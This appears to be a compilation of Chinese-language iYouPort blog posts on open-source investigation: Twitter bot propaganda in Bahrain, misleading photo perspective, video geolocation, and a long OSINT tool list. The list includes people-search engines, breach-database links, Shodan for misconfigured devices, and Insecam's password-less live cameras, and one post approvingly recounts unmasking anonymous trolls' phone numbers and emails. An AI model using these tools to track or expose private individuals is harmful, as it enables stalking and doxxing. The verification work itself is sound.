然而，Isa Qasim 标签上常见的教派推文特别值得关注。如果你看看下面的表格就会发现，在2016年6月22日抽样的12小时内，巴林标签上51%（5556条）的推文很可能是由带有教派主义、煽动仇恨议程的机器人或垃圾信息发送者制作的。在这5556条推文中，只有4条独特的推文，其余几乎每条推文都由多个不同的账户推送了数百次或数千

次。

「图」

「图」

表格显示了2016年6月22日来自可疑账户的推文细目

从上表中可以看出，2016年6月22日检查的 10866 条推文中，有 5556 条来自这些可疑账号。占推文总数的51%。在这里使用什叶派这个词，因为它经常被提及，就像 Rawafid 等贬义词一样（一个用来表示什叶派是真正的伊斯兰信仰的 ‘拒绝者’ 的术语）。比如这条推特 ‘رد قوي من شاعر سعودي على روافض’，翻译为 ‘沙特诗人对 Rawafid 的强烈回应’（相关诗歌后附有视频）。伊朗经常受到批评。例如这条推特，“伊朗毛拉用违背伊斯兰教和先知圣训的口号将朝觐（朝圣）政治化 #withdrawalofnationalityfromIsaQasim#Bahrain#Fitna”。

也门标签上最常见的推文是：

「图」

「图」

数百个似乎是机器人的推特账户正在重复宣传，将暴力、恐怖主义和动乱行为与阿拉伯什叶派和伊朗混为一谈。这有力地表明，拥有大量资源的机构、个人正在故意制造分裂性的反什叶派宣传，并以机器人这种大规模的信息战方式进行传播。

这里的问题很多，然而这种说法不仅会助长教派主义（很难从中推断出因果关系），而且会给人造成一种虚假的印象，似乎诸如伊萨·卡西姆的政策得到了民众的广泛支持。此外，绝大多数被发现的账号其实没发布过任何东西。

虽然僵尸账号的概念可能对任何人来说都不是新闻，但这里的证据希望能凸显出，很多网上的教派话语或许是被那些拥有特定意识形态议程的团体或个人夸大的，他们有资源这样做。如您所知，公关和声誉管理公司提供这样的服务，然而他们的工作往往是秘密的。

- 在这里看到调查《如何在网上兜售谎言？—— 他们承诺可以”按照你的意愿改变任何现实”》

除了传播教派语话和亲沙特政府的宣传外，这些推文的庞大数量还淹

没了一天中某些时段的合法推文。这就是信息战的目的。

- 📌 在这里看到《网络水军如何不断操纵您在社交媒体上看到的内容》

以下对2016年6月22日 #Bahrain 标签的可视化（使用 Gephi 和 NodeXL）突出了这种效应。

图片的彩色中心代表了大部分合法的 Twitter 账户在巴林标签上发推文。它们之间的线条，以及它们之间的接近程度，代表着它们正在相互交流。较大的节点代表那些具有更大 “影响力” 的账户。相同颜色的节点代表推特社区，账户之间最近经常互动。所有的灰色节点都很小，而且与网络不相干，彼此间或与任何人都不相干。这意味着他们发推文，但不与任何人互动。

「图」

「图」

Visualisation made on Gephi by Marc Owen Jones of the #Bahrain hashtag on 22 June 2016

表面上这表明他们是个人在发推特，但事实上，可视化显示他们在社区的边缘是故意而为的，为了强调他们如何没有真正参与社区。这些灰点中有一小部分是合法的账户，他们只是在巴林的标签上发了推文，但大多数都是机器人。然而，可视化效果强烈地显示了一个围绕核心的灰色盾牌，试图让真正的辩论如法实现。它挡住了调查的目光。这也让你感受到了机器人的数量到底有多少。

信息战操作的规模是巨大的，还包括休眠的 **Twitter** 账户作为 “假追随者” 来支持其他信息战账户的追随者统计数字。

这些账户可能有多达一百万个，根据他们的个人资料，其中许多账户位于沙特。虽然将它们全部删除会对 Twitter 的全球整体用户数造成不小的影响，也肯定会影响到地区性的数据，因为沙特被誉为中东和北非地区与 Twitter 联系最紧密的国家。2014年，据信在240万中东和北非地区 Twitter 用户中，有40%的用户位于沙特。如果其中有多达100万个账号是假的，这将使沙特的 Twitter 用户量统计几乎减半。

然而，尽管 Twitter 宣布，自2016年2月以来，他们已经暂停了23.5万个账户，因为它们与宣传恐怖主义有关，但目前还不清楚这些账户

是否包括本次调查所研究的任何账户。有趣的是，在我们分析的可疑账户中，有一个账户的关注者大多看起来是假的，在过去几周内，其关注者减少了约10万。

虽然有证据表明这些账号是自动化的，但在海湾地区，这样的操作使用廉价的人力并不罕见。

【注：使用廉价人力操作的现象如今已经很常见，见报告《看清信息战：2019全球有组织社交媒体操纵清单》】

2016年8月30日对沙特标签的分析显示，自2016年7月以来，至少有1100个此类垃圾账户被创建。不过，从中可以顺理成章地推断出，沙特的一个组织，无论是否得到政府批准，都在大规模地进行反伊朗、反什叶派、并支持沙特政府的宣传活动。

结论

虽然在巴林和沙特的行动已经持续了一段时间，但尚不清楚这种确切的策略在其他地方被采用的程度，或者它是否只是社交媒体虚假信息的区域变体。

无论如何，它符合网络 trolls 大军的多种变种，其影响是插入虚假信息或传播政治宣传。在看似可能是自动化操作的情况下，大量的垃圾推文也会导致有用信息被冲刷到边缘。这意味着，那些寻求关于有用信息的人往往被宣传所淹没，以至于在实时查找时，寻找真实推文的难度大大增加。尤其是当这些信息战虚假账号劫持某些标签时，情况更是如此。

这究竟是国家支持的行动、公关公司的工作，还是有钱人单方面的项目，还有待观察，但规模之大，无疑影响了 Twitter 作为一个让人们无障碍地分享和接受想法的平台的可信度。这也让人怀疑 Twitter 处理网络仇恨言论的能力或承诺。一个可悲的事实是，某些机构或国家的深刻影响扭曲了网络公共领域，使那些有钱有势的人能够不成比例地操纵公众语话。〇

Automated sectarianism and pro-Saudi propaganda on Twitter

—— 未完待续 ——

原文

"虚假" 照片如何扭曲视角形成误导 - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

新闻报告不会简陋到使用PS来处理照片，那将导致严重后果。但是，只需要稍微调整一下镜头的使用方式，摄影记者就可以讲述出一个完全不同的故事 ..... 您需要保持警惕

「图」

「图」

随着世界各地开始放松封锁，很多人都期待着再次外出活动。

目前，社会上的疏导措施仍在实施，但网上和媒体分享的一些照片似乎显示，人们在公共场合离得太近了，这引起了一些人的愤怒。

但要注意：镜头不一定能说明真相。

英国每日邮报4月26日刊登了一张英国伯恩茅斯海滨长廊的照片，令一些当地人感到愤怒，因为照片中似乎有大量的人无视社交距离的规定，在木板路上拥挤不堪。评论抨击外出散步的人是“自私”的，并称如果感染率开始上升，他们将受到指责。

「图」

「图」

但是当地居民 Luke Williams 在照片中发现了一些线索，暗示现实状况并非如照片看起来那样。他在 Twitter 上写了一系列帖子，显示照片中人们之间的位置相距远比看起来更远。

「图」

「图」

「图」

「图」

在照片中，人、物和建筑物看起来像被压缩在一起了。📌 这种效果可以来自于不同的摄影技巧，比如使用长焦镜头，对使用广角镜头拍摄的照片进行裁剪，或者简单地改变相机的位置或采用创造性的构图手法。

在哥本哈根，从两个不同的角度来看同一场景

丹麦媒体 TV2 于4月24日派出两名摄影师到哥本哈根街头拍摄，以强调这一现象。每位摄影师都从不同的角度拍摄了 **同一场景** 的照片，其结果却大相径庭。

这是同一地方，一张照片是用变焦镜头拍摄的，另一张照片是用广角镜头拍摄的：

「图」

「图」

还有其他例子，摄影师使用压缩图像的方法产生了如上述的效果。佛罗里达州杰克逊维尔的当地记者因为展示了一个看起来很拥挤的海滩的图片而受到了抨击，当时在场的人们表示，事实上大多数人都在遵守社交距离规则。

「图」

「图」

这种现象可能在新闻故事中很常见。在英国，霍夫（Hove）沿海地区的议会议员也批评新闻工作者错误地展示了当地社区：

「图」

「图」

因此，在您开始批评他人或某种现象之前，请注意以下有关此现象的报告：

📌 新闻报道不会简陋到使用PS来处理照片，那将导致严重后果。但是，只需要稍微调整一下镜头的使用方式，摄影记者就可以讲述出一个完全不同的故事 —— 甚至是符合某些极少数人利益的歪曲的故

事。消费新闻的公民们需要警惕这点。〇

Are people flouting social distancing rules? How photos can distort perspective

原文

“谷歌地图”是比詹姆斯邦德更棒的间谍 - iYouPort

开源情报-每个人都可用的武器

> 政府官媒宣布“消息是假的”；军方介入全网删帖；发布者注销社交媒体账号，连缓存都没有…这种情况下意味着故事结束了？不一定。这要看该故事发生在哪个国家了。如果是中国，恐怕在上述第一步就彻底结束了，但本文并没结束……拿起你的武器，加入信息战，因为我们不能一直被动

「图」

> 这无疑是一个坏消息。不仅俄罗斯，英国也开始挑头打击民间独立运作的开源调查 //#OSINT//。本文将详细解读开源调查的重要性，反驳英国影子外交大臣之言论的荒谬；并且演示一个令人兴奋的独立调查操作，以说明公民可以如何在当权者操纵的恶意信息战中保卫真相。

英国议员 Emily Thornberry 最近向下议院发表声明称，在确定于叙利亚使用的化学武器问题时，“依靠从恐怖主义团体那里获取到的所谓开源情报不是一种可接受的选择”。

这是一句彻底装糊涂的话。因为作为一个纯正英国人他不可能是真糊涂，英国是全球数一数二的情报大国，开源情报在英国有着悠久的历史（我们后面细说）。

Thornberry 的言论不仅暴露了其本人对叙利亚局势惊人的无知，而且揭示了开源调查如何彻底改变了民族国家和商业情报、新闻和冲突监测。尤其令人担忧的是，Thornberry 是影子外交大臣 — 负责监督外交事务的反对派成员，如果工党在未来组建政府，他最有可能担任同一职务。

本博客对民间独立的开源调查捍卫民主的技术支持已不必赘述（请

见“情报不是简单的信息”）。开源情报指的是开放的数据源，最重数据挖掘和逻辑分析。互联网是迄今为止存在的最大的开源数据集合，这个庞大的存储库不仅对政府情报机构和私营公司有用; 也已经成为民间社会团体追踪冲突、打击腐败和调查犯罪的重要来源 — — 后者是我们的侧重 — 以后者反抗前者。事实上，开源情报对民主社会来说比传统的“闭源”更可靠和可检。

情报分为六个不同的领域，其中只有一个领域能够也应该被公民掌握（还有另一个领域或许公民社会可能部分使用，但无法单独使用）：#SIGINT：信号情报 — — 从电子系统收集的数据（通过是秘密进行的，因为侵犯隐私权很可能违宪）就是类似棱镜的计划。MI5 最近终于承认其对国际权利组织 Privacy International 进行非法间谍活动，终于承认了：全球大规模监视系统是被用来对抗像你这样的民间社会。如今这些监视计划往往不涉及犯罪或恐怖主义，而是关于权力 — — 关于对社会的控制；

- OSINT：开源情报 — — 也就是我们推荐的民间独立调查，信息来自各种公开来源，只要掌握"挖掘技术"、精湛的逻辑分析和强大批判性思考能力，就能掌握公民权；
- HUMINT：人工情报 — — 从人工来源收集到的情报，包括有意的和无意的（也就是线人）。其中无意的收集是指，比如信息源并非正式的线人，但其提供的信息真实可靠且对正在进行的调查有用；
- IMINT：图像情报 — — 通过图像收集的数据，不管这些数据是照片、雷达屏幕或者其他表现形式；
- GEOINT：地理空间情报 — — 从卫星、无人机和其他来源获取的情报，跟踪全球的安保相关的活动，并从中获取情报。往往与 IMINT 紧密相关；
- MASINT：测量和痕迹情报 — — 几乎包罗万象。MASINT 情报来自不归于 SIGINT 或者 IMINT 的一切来源，例如无线电频率。

1. 看一下是否有任何阿拉伯语单词出现在视频中可以提供有关该位置的更多详细信息？并没有。

- 有视觉线索吗？有：一个塔楼、建筑物和道路。虽然不是埃菲尔铁塔那样的重要地标，但它是一个开始。Panoramio 上显示机场附近的确有一个小塔楼。
- 还有什么线索能让我可以缩小范围呢？ Twitter 上有人说，视频显示在环形公路附近，这是一条有便道的高速公路。
- 我尝试了一下……很幸运！每个建筑物、街道、墙壁、周边结

构，还有塔楼，与卫星图像完全匹配。

看下面的图：

「图」

「图」

您可以在 Wikimapia 查找确切的位置：

「图」

下一步是删除 Google地球中的库存图。换卫星地图证实 “When” 和 “Where”：

「图」

上面你能看到，视频中出现的这个建筑的北侧部分在2016年8月13日才刚完工，视频显示它完工了，所以视频的拍摄时间不可能比这个时间更早 — — 绝对不会是官方声称的2011年拍摄的。埃及媒体在撒谎。

这就是信息战。现在独立公民调查胜利了。

「图」

这篇调查发表后，一大群俄罗斯巨魔蜂拥而上，对调查参与者实施舆论抨击，他们使用的是英国议员 Emily Thornberry 同样的逻辑 — 即当权者的逻辑，质疑开源调查的工作。

俄罗斯巨魔非常厉害，他们不像中国五毛水军那样只在调遣之下才有行动，在互联网上超过一半的带有“Russia”关键字的内容下面 — 不论发布平台是什么 — 都能找到俄罗斯巨魔的存在，他们抨击一切克里姆林宫不喜欢的内容。

开源调查研究人员们继续反追踪俄罗斯巨魔，找到了**24**个“匿名”巨魔的真实姓名、电话号码、邮件地址、以及他们的大部分在线活动 — — 结果显示他们中很多人是知识分子，而非中国的那种**……**

是的，这是另一场信息战。利用我们提供的工具，欢迎中国的积极人生加入到信息战的对抗中来，保卫真相！

因为这就是当下的局势：要么对抗，要么放弃公民权，没有第三个选项。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

🔍 超级情报收集工具库：开源验证和调查工具及使用方法 - iYouPort

开源情报-每个人都可用的武器

欢迎来到免费提供的数字工具和方法列表～ 用于我们的信息验证和开源情报研究 #OSINT。工具很重要，它们能让您的智慧得到更充分的发挥。技术是强大的实力，正义的公民力量完全可以取代那些不专业的“媒体”。一起来，挖掘真相！

「图」

该列表包括卫星和地图服务、用于验证照片和视频的工具、用于存档超链接的网站等等，以及很多“小邪恶”的技术。名单有点长，但是，后面更精彩！附有一些简短的指南，更详细地突出了这些工具的用法。对于一些比较复杂的工具，我们将在后面的文章中详细介绍其用法。感谢 bellingcat 的伟大发现。

大多数工具非常容易记住，它们的名字就是它们的用途。

我们将尽可能少的推测您可以用这些工具来做什么，为避免限制您的创造力。相信您可以找到它们最佳的使用计划。一切为了正义的目的哦。

— — 地图，卫星图像和街景 — —

> 针对 人为或自然灾难、战争、救援、大型群体事件（尤其是造成冲突的时候）、杀戮、种族清洗运动、边境动态……等等状况的调查，拿到证据以便追究责任，这些工具非常有用。

Bing Maps：Microsoft 卫星和地图服务。拥有比谷歌更新更快分辨率更高的图像；缺点是检查图像的日期比较难；

converting coordinates：这是一个转换地理坐标的工具；

Copernicus：欧洲航天局的网站以及哥白尼六哨兵卫星的图像。比 Landsat 的分辨率更高。请参阅网站 GISGeography 上有关如何下载和免费图像的说明；

Descartes Labs：一种商业服务，每天从公共和商业图像提供商处收集数据，对记者的调查来说有很好的帮助；

DigitalGlobe：卫星图像供应商。通过 catalogus 预览，非常容易使用的搜索工具；

DualMaps：将 Google 的路线图、鸟瞰图和街景视图结合在一个嵌入式工具中。探照灯一般；

EarthExplorer：来自美国地质局。主要提供美国图像。提供对 Landsat 卫星数据以及 NASA 土地数据产品和服务的访问。 USGS 全球可视化查看器（GloVis）提供遥感数据。USGS 档案包含完整且维护良好的 NASA Landsat 数据集。

EOS Landviewer：EOS Landviewer 提供最多 10 张图片的免费服务。更多图像和分析以折扣价提供给记者。联系方式：Artem Seredyuk artem.seredyuk@eosda.com。 EOS 正在开发一项暂时被称为 EOS Media 的服务，该服务将提供免费图像和主要自然灾害分析。

ESA Earth Online：整合欧洲航天局关于温度、农业和冰盖等主题的地球观测数据。

find2places：允许在给定半径内以精确的距离查询两个特定位置的 Google Maps API。用于地理定位照片和视频。这是个脚本，用户界面还不那么好看。关联我们的文章《"用于信息验证的基本地理定位工具"》

Geograph：地理配准图像。

GeoNames：位置名称数据库。多语种的，以及各种不同的拼写。

GeoVisual Search：搜索引擎，允许用户直观地查询图像以获得类似的地理特征。这个笛卡尔实验室的平台建立在 Landsat、国家农业图像计划（NAIP）和 PlanetScope 的卫星图像基础上。这里读到关于如何使用它的说明。

Google Earth Pro：添加 Bing 地图卫星图像图层。优点是有历史图

像。

Google Earth Engine：开放式卫星图像和分析框架。实际上，从 NASA，NOAA，USGS 等收集的任何卫星图像都是可用的。可能略有些粗糙，不是高分辨率的商业图像。用 Javascript 学习曲线。

Google Maps：StreetView、美国欧洲许多大城市都可见，以 3D 为蓝本。缺点是没有历史卫星图像，但许多地方都有历史街景图像。

HERE WeGo：对于中东事件调查来说，它有比谷歌最近的卫星图像。

Mapchecking：计算所选 Google 地图区域中的人数。单击地图以添加点并绘制区域。集会、群体事件、或者救灾……等等，都适用。

Mapillary：众包街道照片。是对 Google Streetview 的有用补充。不过对于中东地区来说不好用，在叙利亚、伊拉克等国家几乎找不到。

NASA EarthData：WorldView 允许从 NASA 可视化近实时的图像。优势很多，各种卫星和航拍图像; 广泛的搜索标准; 以及其他地图和可视化工具，例如用于火灾事件调查的 FIRMS，等等。可访问十几个 NASA 数据中心和相关的卫星数据产品。美国宇航局地球观测：大气、陆地、海洋、能源、环境等 50 多个数据集。

Old Maps Online：通过世界各地的众多数据库查找旧地图。易于使用，与 DigitalGlobe 目录类似的浏览。

OpenStreetCam：正如其名。

OpenStreetMap：正如其名。

Radiant Earth：非营利组织，帮助全球发展社区发现、探索和分析卫星、无人机和航空图像档案。

Resource Watch：一个仍处于测试阶段的非营利平台，提供有关地球资源和公民状态的数百个数据集。由世界资源研究所和其他组织赞助。资源监视数据是免费的，用户可以下载数据。

Sentinel Hub Playground：Sentinel 2 / Landsat 图像的用户友好平台。每 5–10 天更新一次新图像，能够探索各种 GIS 变量，例如 NDVI 或 NDWO。 EO 浏览器有助于延时审查。缺点是一般分辨率低至10m / px。

TerraServer：卫星图像供应商。最高分辨率（0.3m）。预览高分辨率卫星图像要付费。

Wikimapia：与地理位置相关的众包信息。可以在 Google / Bing / OSM 之间切换。大量的 UCG 信息。可能有点滞后，需要在视图搜索后刷新页面。

—— 基于地理的搜索 ——

验证信息真伪、跟踪事件发展

Animaps：创建自定义动画地图。优点是有可用于调查的时间线记录，不过维护的不大好。

Echosec：基于地理的搜索。比如来自社交媒体的信息 Twitter，VKontakte，Foursquare 的查证。缺点是不能查 Facebook、正版 Instagram。

Liveuamap：冲突新闻的互动实时地图。现有各种国家：阿富汗，伊拉克，叙利亚，美国，乌克兰，委内瑞拉等，别的工具挖不到的国家这里可以。

Photo-Map.RU：可以查证带有地理标记的 VKontakte 帖子。和 SnRadar 作用一样。

Twitter：在搜索框中插入 地理编码：[coordinates]，[radius-km]，例如：geocode:36.222285,43.998233,2km (only works with km, so 500m = 0.5km) 大部分时间能找到你想要的东西。缺点是，定位容易造假，需要结合其他信息以验证。

WarWire：基于地理定位的搜索。验证来自社交媒体如 Twitter, VKontakte, Instagram 的帖子

—— 图像、视频和元数据 ——

眼见不一定为实。信息被造假了吗？真相是什么？

Amnesty YouTube Dataviewer：反转图像（以及视频）搜索，找到精确的上传时间。缺点是搜索包含多个静止图像，而不是每个帧（因此可能有些东西被略掉了）

附：《验证图像和视频内容的指南》

Exiftool：读取和操作大量文件类型的元数据。注意：没有 GUI。优点是 Floss、Cross平台，非常容易集成在脚本中。目前只能用于GNU / Linux。

Foca：提取元数据用的。基于 Windows，2017 年开源。缺点是没有本机 linux 支持（需要在 linux 中安装 wine）

FotoForensics：一个图像取证工具。基于 web, 使用简单。缺点是只能公共访问。

GooFile：也是提取元数据的工具，也很方便使用。缺点是在 Kali 以外不能很好地工作。

Image Forensics：基于 Web 的图像取证工具。可以轻松识别伪造或篡改的图像。也是只能公共访问。

InVID：这是一个验证插件，以帮助记者验证图像和视频。上下文数据、元数据、反向搜索（谷歌，Yandex）、图像取证等。

Irfanview：提取元数据的工具。基于 Windows。缺点是不支持 Linux。

Jeffrey's Image Metadata Viewer：在线提取元数据的工具。只需要 Web 浏览器就可以。但也是只能公共访问。

Reveal Image Verification Assistant：提供八个过滤器来检测静止图像的变化。基于 Web 的图像工具。也可在 InVID 验证插件中使用。

reverse image search：在互联网上找到类似的图像。非常容易使用。推荐插件：**RevEye**

SpiderPig：提取元数据。命令行界面和脚本很棒。但是使用需要一点技术知识。

Splunk：也是提取元数据。可以报告等级分析和演示。缺点是设置和部署不太简单。

— — 社交媒体 — —

社交媒体是挖掘真相的金矿。对于不同平台来说工具

不同，要找到趁手的挖掘工具需要点研究。

1、对于 Facebook

Graph.tips：自动高级搜索 Facebook 个人资料。

Who posted what?：查找 Facebook 帖子。

IntelTechniques：用于分析 Facebook 个人资料和页面的各种工具。

Facebook livemap：搜来自全世界各地的现场直播。

Search Tool：按名称、电子邮件、屏幕名称和电话查找帐户。

StalkScan：每个 Facebook 个人资料的自动高级搜索。

Video Downloader Online：下载 Facebook 视频。

Skopenow：社交媒体调查 — 姓名、电话、电子邮件、用户名搜索。

2、Instagram

Websta：在特定地点附近的 Instagram 数据库中查找其他位置。使用带有位置 ID 的直接 URL，例如 websta.me/location/116231

StoriesIG：下载 Instagram 消息的工具。

Save Instagram Stories：允许您对已保存的报道进行用户名搜索。

3、LinkedIn

Socilab：可视化和分析您自己的 LinkedIn 网络。

4、Reddit

F5Bot：当 Reddit 上提到某个关键字时，向您发送电子邮件。

5、Snapchat

Snap Map：可搜索的地理标记 Snap 地图。

6、Tumblr

Tumblr Originals：查找每个 Tumblr 的原始帖子，从而排除 reblogs。

7、Twitter

InVID verification plugin：InVID 插件按时间间隔提供 Twitter 高级搜索。允许在没有 API 和时间限制的情况下记录过去的用例。允许在突发新闻后搜索用户定义的时间范围内的内容。在Twitter高级搜索中自动执行日历日期和 Unix 时间戳之间的转换。在这里看到：https://youtu.be/nmgbFODPiBY

Fake video news debunker by InVID

Onemilliontweetmap：推文地图每个地点最长 6 个小时，关键字搜索选项。

Treeverse：Chrome 扩展程序，可视化 Twitter 对话。

Tweetreach：找到推文的范围。提供高级搜索运算符，与 Google 高级搜索相同。关于谷歌的运算符我们将来会有专门的文章详细介绍！

Twitter advanced search：查找日期、关键字等等。

Twitter geobased search：地理编码：[coordinates]，[radius-km]，例如：geocode：36.222285,43.998233,2km

Twlets：在 Excel 工作表中下载任何人的推文，关注者、及点赞的内容。使用方便快捷，还有一个 Chrome 扩展程序。最多可获得 3,200 条推文，关注者和点赞。

quarter tweets：基于地理位置的 Twitter 搜索。

8、YouTube

Amnesty YouTube Dataviewer：反转图像（视频静止）搜索以及精确上传时间。搜索一些静止画面而不是每个帧（因此可能省略了结果）。

Geo Search Tool：根据位置搜索 YouTube 视频。

—— 运输信息 ——

你知道这意味着什么。它们非常有用。当社交网络上人们将名人、政客、军队等相关出行和调遣的消息发布并传播时，你可以查证那些东西究竟是真是假，并且能比其他人更切实地做到对重要信息的跟踪

1、空运

AirNav RadarBox：跟踪航班，包括私人的和军用的喷气式飞机。一个 Windows PC 软件和硬件包，允许在模拟雷达屏幕上看到适当装备的飞机。小型接收器通过 USB 连接到 PC，使用提供的小型天线检测飞机。通过解码来自飞机的 ADS-B 传输，这些飞机以类似于空中交通管制所使用的显示器显示在计算机上。航班号，飞机类型，高度，航向，速度每秒都可见并更新。

ADS-B Exchange Global Radar：跟踪航班，包括一些军用飞机。你懂的。

FlightAware：世界上最大的航班跟踪网站。一家总部位于德克萨斯州休斯顿的全球航空软件和数据服务公司。 该公司运营着一个网站和移动应用程序，可以在美国，加拿大，澳大利亚和新西兰提供私人和商用飞机的免费航班跟踪。

FlightRadar24：这个是最常用的。跟踪（民用）航班。付费版可以返回12个月的档案。

PlaneFinder：基于英国的实时航班跟踪服务，能够显示有关航班开销以及全球航班的数据。用户可获得的数据包括：航班号，飞机移动速度，旅行高度和目的地。该服务的几种变体可用作移动应用程序，包括免费，高级 3D 和增强现实版本。 Web 浏览器可以访问航班跟踪地图和数据库。

2、海运

MarineTraffic：一个开放的，以社区为基础的项目，提供有关船舶运动的实时信息以及船舶在港口和港口的当前位置。船舶信息数据库包括，例如，船舶建造地点和船舶尺寸，总吨位和国际海事组织编号的详细信息。用户可以提交其他用户可以评价的船只照片。 基本的 MarineTraffic 服务可免费使用;更多高级功能可供支付。

3、铁路

Trains：欧洲各国铁路网络的完整互动地图。想想“一带一路”……

4、其他

WikiRoutes：公共交通数据库。wiki 应用 — — 世界公共交通数据库由人们根据维基媒体的原则编辑。添加您所在城市的路线，该路线会立即显示在网站和移动应用中。

— — 日期和时间 — —

科学方法，判断信息真伪

SunCalc：在给定的一天里在给定的位置显示阳光的移动。细橙色曲线是当前的太阳轨迹，周围的黄色区域是一年中太阳轨迹的变化。点越靠近中心，地平线上方的太阳越高。上面时间滑块上的颜色显示白天的阳光覆盖范围。根据一段视频或多张声称连续的照片，推断发布者的声称是否真实。

Wolfram：由 Wolfram Research 公司推出的一款在线自动问答系统。其特色是可以直接向用户返回答案，而不是像传统搜索引擎一样提供一系列可能含有用户所需答案的相关网页。基于 Wolfram 早期旗舰产品 Mathematica，一款囊括了计算机代数、符号和数值计算、可视化和统计功能的计算平台和工具包开发的。其数据来源包括学术网站和出版物、商业网站和公司、科学机构等等，例如中央情报局出版物《世界概况》、康奈尔大学图书馆出版物《All About Birds》、《Chambers Biographical Dictionary》、道琼斯公司、Catalogue of Life、 CrunchBase、百思买 、美国联邦航空管理局、美国地质调查局等……你知道它有多强大。

— — 个人，**WhoIs**，**IPs**，网站分析 — —

网络战

Passive DNS：是 DNS 历史信息的一个截片，是 DNS 数据的一种应用方式，简单的 Passive DNS 的例子如下图所示，是域名和 IP 的映射表。Passive DNS 能够回答的问题包括，域名指向哪些地址，域名服务器管理过哪些域名等等。

「图」

恶意域名和合法域名的 **DNS** 行为有着很大的差异，而这种差异能通过 Passive DNS 数据体现出来。恶意域名的特点有很多，如 DNS 记录 TTL 值偏小、IP 池更新快、IP 网段丰富等等。 目前的使用

Passive DNS 比较优秀的工作有 EXPOSURE、Notos 和 FluxBuster 等等。

Censys.io：完整的互联网连接设备知识！Censys 会持续监控 **Internet** 上每个可访问的服务器和设备，以便您可以实时搜索和分析它们，了解你的网络攻击面，发现新的威胁并评估其全球影响。通过数据驱动安全。

Censys 跟 Shodan 和中国的 ZoomEye 类似，可以搜索世界范围内的联网设备。Shodan 和 ZoomEye 是个人用的比较多的两款。

Censys 与 Shodan 相比是一款免费搜索引擎，当然也有一定的限制（速度和搜索结果），而新改版后的 ZoomEye 对中国的搜索结果做了“处理”，几乎没有什么价值了。

DNS History：就是它的名字，收集历史 DNS 信息。免费，简单易用。有时可用性有限。

DNS cyrillic check：检查恶意域名或西里尔域名是否已注册。免费，简单易用。

DNS Trails：世界上最大的历史 **DNS** 数据存储库。该站点包含对大约3万亿条 DNS 记录，30亿条 WHOIS 记录和 4.18 亿个主机名的数据库的访问权限。所有这些都是自 2008 年中期以来每天收集的。可能会为您返回最多的数据。免费，简单易用。

Geo IP Tool：这是给你自己的。检查您自己的 IP，方便检查您的 VPN 是否正常工作 🔐。

Shodan：物联网搜索引擎！可以找到大量错误配置的网络连接设备。有些人还将其描述为服务横幅的搜索引擎，服务横幅是服务器发送回客户端的元数据。这可以是关于服务器软件的信息，该服务支持的选项，欢迎消息或客户端在与服务器交互之前可以找到的其他内容。

SpyOnWeb：用于通过其跟踪代码检索网站。一个不断抓取网站追踪代码，名称服务器和其他信息的网站，所以它能帮助显示网站之间的连接。他们的 API 有许多定价层，从免费开始一直到每月69.95美元。

Whois：用于域名搜索和信息，whois.net 或 whois.icann.org

此外还有：人物搜索！

- Peekyou，peekyou.com
- Pipl，世界上最强大的人物搜索引擎，找到电子邮件地址，社交媒体用户名或电话号码背后的人，pipl.com
- Yasni，yasni.com
- Zaba Search，仅限美国，zabasearch.com publicrecords.searchsystems.net cemetery.canadagenweb.org/search.html opencorporates.com
- **IXMaps**, IXMaps
- Network-Tools
- Open Site Explorer
- Robtex
- Search IRC
- Shodan Computer Search
- Utrace
- ViewDNS

—— 存档，下载和 Internet 存储 ——

保留证据！

Archive.is：存档任何网页。一个私人资助的数字时间胶囊网站。会根据版权所有者的合乎数字千年版权法案（DMCA）的撤除请求移除已归档的页面。每次请求都会捕捉网页的文字内容，加载不含活动元素或脚本的 Web 2.0 网站或由 JavaScript 产生的图片与框架内容。截图是 1024×768 像素，没有弹出窗口。 archive.is 还支持了 Memento Project 的 API，并且开发了 Firefox 浏览器与 Chrome 浏览器的插件。

参见我们以前的文章《留下证据：如何存档开源材料？#OSINT》

DMCA：搜索删除通知。

Gruber：Slideshare下载器。太多介绍了不赘述。

Historic Breach Database List：看一眼这个链接就明白了。

Wayback Machine：档案网站。从 Wayback Machine 下载整个网站。「网际网路档案馆」（Internet Archive）旗下的一项网页保存计划，事实上它也正在纪录每分每秒不断改变的网路生态。每周透过网路爬虫（Crawler）抓取超过十亿个网页内容！运用大量伺服器、频宽来提供服务并极力节省资料大小，因此可以在网站上找到非常古老

的网页备份。

Wayback Machine 亦提供线上「网页备份」功能，只要输入要备份的网页网址，就能将它撷取下来，产生一个独立且永久保存的网址，未来还能在 Wayback Machine 以时光机功能来随时回顾不同时间点自动抓取备份的网页内容。

Wayback Machine for Github：查找和搜索何时以及谁做了什么！简单易用。

— — “杂技” — —

非常重要！！

BlockExplore：跟踪比特币线索或跟随比特币账户。

Check：协作事实核查。核查任何事件的真伪！在这里看到更多资源。

Document Redaction：用于在查看之前删除 Pdfs 中可能有害的内容，例如追溯。

Google Search Operators：例如搜索特定文件类型（例如 PDF）或特定网站。我们后面将有文章详细介绍具体用法！

Hunch.ly：自动收集所有访问过的网站！专为在线调查而设计的唯一网络捕获工具。Hunchly 自动收集、记录和注释您访问的每个网页。非常强大的调查工具，要付费哦。

Insecam：网络直播 **IP** 摄像机目录！你懂的。世界上最大的在线监控安全摄像机目录。选择一个国家观看实时街道，交通，停车场，办公室，公路，海滩，地球在线网络摄像头。现在，您可以搜索世界各地的实时网络摄像头。你可以在这里找到 Axis，松下，Linksys，索尼，TPLink，Foscam和许多其他网络摄像机在线没有密码。建议使用 Mozilla Firefox 浏览器观看网络摄像机。

为了保护个人隐私，Insecam 采取了以下行动：

- - 只有过滤的相机现在可用。这样 Insecam 上的摄像机都不会侵犯任何人的私生活。
- - 任何私人或不道德的相机将被立即删除电子邮件投诉。打开一个直接链接，以帮助促进迅速删除相机。

- - 如果您不想通过电子邮件与我们联系，您仍然可以从 Insecam 中删除您的相机。你唯一需要做的是设置你的相机的密码。
- - 您可以添加您的相机到目录。只有在管理员批准后才能使用。摄像机的坐标是近似的。它们指向 ISP 地址，而不是摄像机的物理地址。此信息仅精确到几百英里。提供的坐标仅用于定位相机所在的城市，但不是准确的位置或地址。

LittleSis：一个免费的数据库，了解在商业和政府层面的人际关系。一个草根监督网络，连接世界上最强大的人和组织之间的点。调查任人唯亲，利益冲突和系统腐败的独特资源！

通过跟踪政治家、商业领袖、游说者、金融家及其附属机构的关键关系，为有影响力的社交网络带来透明度。

